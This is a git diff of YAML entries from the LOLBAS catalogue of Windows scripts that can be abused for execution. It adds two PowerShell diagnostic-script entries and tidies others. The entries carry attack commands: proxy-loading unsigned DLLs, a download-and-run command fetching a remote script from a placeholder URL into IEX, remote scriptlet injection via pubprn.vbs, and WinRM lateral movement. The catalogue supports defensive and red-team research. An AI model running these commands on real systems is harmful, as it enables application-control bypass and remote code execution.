Merge branch 'master' into feat/yamllinting

yml/OSScripts/CL_LoadAssembly.yml

@@ -0,0 +1,26 @@
+---
+Name: CL_LoadAssembly.ps1
+Description: PowerShell Diagnostic Script
+Author: Jimmy (@bohops)
+Created: 2021-09-26
+Commands:
+  - Command: '”powershell.exe -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()'
+    Description: Proxy execute Managed DLL with PowerShell
+    Usecase: Execute proxied payload with Microsoft signed binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1059.001
+    MitreLink: https://attack.mitre.org/techniques/T1059/001/
+    OperatingSystem: Windows 10 21H1 (likely other versions as well)
+Full_Path:
+  - Path: C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1
+Code_Sample: 
+  - Code:
+Detection: 
+  - IOC:
+Resources:
+  - Link: https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/
+Acknowledgement:
+  - Person: Jimmy
+    Handle: '@bohops'
+---

yml/OSScripts/CL_mutexverifiers.yml

@@ -2,7 +2,7 @@
 Name: CL_Mutexverifiers.ps1
 Description:
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: . C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1   \nrunAfterCancelProcess calc.ps1
     Description: Import the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable.
@@ -18,7 +18,7 @@ Full_Path:
   - Path: C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
   - Path: C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1
   - Path: C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1
-Code_Sample: 
+Code_Sample:
   - Code:
 Detection:
   - IOC:
@@ -27,4 +27,4 @@ Resources:
 Acknowledgement:
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----
+---

yml/OSScripts/Cl_invocation.yml

@@ -2,7 +2,7 @@
 Name: CL_Invocation.ps1
 Description: Aero diagnostics script
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: . C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1   \nSyncInvoke <executable> [args]
     Description: Import the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable.
@@ -16,15 +16,15 @@ Full_Path:
   - Path: C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1
   - Path: C:\Windows\diagnostics\system\Audio\CL_Invocation.ps1
   - Path: C:\Windows\diagnostics\system\WindowsUpdate\CL_Invocation.ps1
-Code_Sample: 
+Code_Sample:
   - Code:
 Detection:
   - IOC:
 Resources:
-  - Link: 
+  - Link:
 Acknowledgement:
   - Person: Jimmy
     Handle: '@bohops'
   - Person: Pierre-Alexandre Braeken
     Handle: '@pabraeken'
----
+---

yml/OSScripts/Manage-bde.yml

@@ -2,7 +2,7 @@
 Name: Manage-bde.wsf
 Description: Script for managing BitLocker
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
     Description: Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.
@@ -23,7 +23,7 @@ Commands:
 Full_Path:
   - Path: C:\Windows\System32\manage-bde.wsf
 Code_Sample:
-  - Code: ~
+  - Code:
 Detection:
   - IOC: Manage-bde.wsf should normally not be invoked by a user
 Resources:

yml/OSScripts/Pubprn.yml

@@ -2,7 +2,7 @@
 Name: Pubprn.vbs
 Description:
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
     Description: Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection
@@ -15,7 +15,7 @@ Commands:
 Full_Path:
   - Path: C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
   - Path: C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs
-Code_Sample: 
+Code_Sample:
   - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Pubprn_calc.sct
 Detection:
   - IOC:
@@ -26,4 +26,4 @@ Resources:
 Acknowledgement:
   - Person: Matt Nelson
     Handle: '@enigma0x3'
----
+---

yml/OSScripts/Syncappvpublishingserver.yml

@@ -2,7 +2,7 @@
 Name: Syncappvpublishingserver.vbs
 Description: Script used related to app-v and publishing server
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
     Description: Inject PowerShell script code with the provided arguments
@@ -14,7 +14,7 @@ Commands:
     OperatingSystem: Windows 10
 Full_Path:
   - Path: C:\Windows\System32\SyncAppvPublishingServer.vbs
-Code_Sample: 
+Code_Sample:
   - Code:
 Detection:
   - IOC:
@@ -26,4 +26,4 @@ Acknowledgement:
     Handle: '@monoxgas'
   - Person: Casey Smith
     Handle: '@subtee'
----
+---

yml/OSScripts/UtilityFunctions.yml

@@ -0,0 +1,26 @@
+---
+Name: UtilityFunctions.ps1
+Description: PowerShell Diagnostic Script
+Author: Jimmy (@bohops)
+Created: 2021-09-26
+Commands:
+  - Command: 'powershell.exe -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()”'
+    Description: Proxy execute Managed DLL with PowerShell
+    Usecase: Execute proxied payload with Microsoft signed binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1059.001
+    MitreLink: https://attack.mitre.org/techniques/T1059/001/
+    OperatingSystem: Windows 10 21H1 (likely other versions as well)
+Full_Path:
+  - Path: C:\Windows\diagnostics\system\Networking\UtilityFunctions.ps1
+Code_Sample: 
+  - Code:
+Detection: 
+  - IOC:
+Resources:
+  - Link: https://twitter.com/nickvangilder/status/1441003666274668546
+Acknowledgement:
+  - Person: Nick VanGilder
+    Handle: '@nickvangilder'
+---

yml/OSScripts/Winrm.yml

@@ -2,7 +2,7 @@
 Name: winrm.vbs
 Description: Script used for manage Windows RM settings
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: 'winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985'
     Description: Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
@@ -31,7 +31,7 @@ Commands:
 Full_Path:
   - Path: C:\Windows\System32\winrm.vbs
   - Path: C:\Windows\SysWOW64\winrm.vbs
-Code_Sample: 
+Code_Sample:
   - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr.reg
   - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct
 Detection:

yml/OSScripts/pester.yml

@@ -2,7 +2,7 @@
 Name: Pester.bat
 Description: Used as part of the Powershell pester
 Author: 'Oddvar Moe'
-Created: '2018-05-25'
+Created: 2018-05-25
 Commands:
   - Command: Pester.bat [/help|?|-?|/?] "$null; notepad"
     Description: Execute code using Pester. The third parameter can be anything. The fourth is the payload. Example here executes notepad
@@ -15,7 +15,7 @@ Commands:
 Full_Path:
   - Path: c:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat
   - Path: c:\Program Files\WindowsPowerShell\Modules\Pester\*\bin\Pester.bat
-Code_Sample: 
+Code_Sample:
   - Code:
 Detection:
   - IOC:
@@ -24,4 +24,4 @@ Resources:
 Acknowledgement:
   - Person: Emin Atac
     Handle: '@p0w3rsh3ll'
----
+---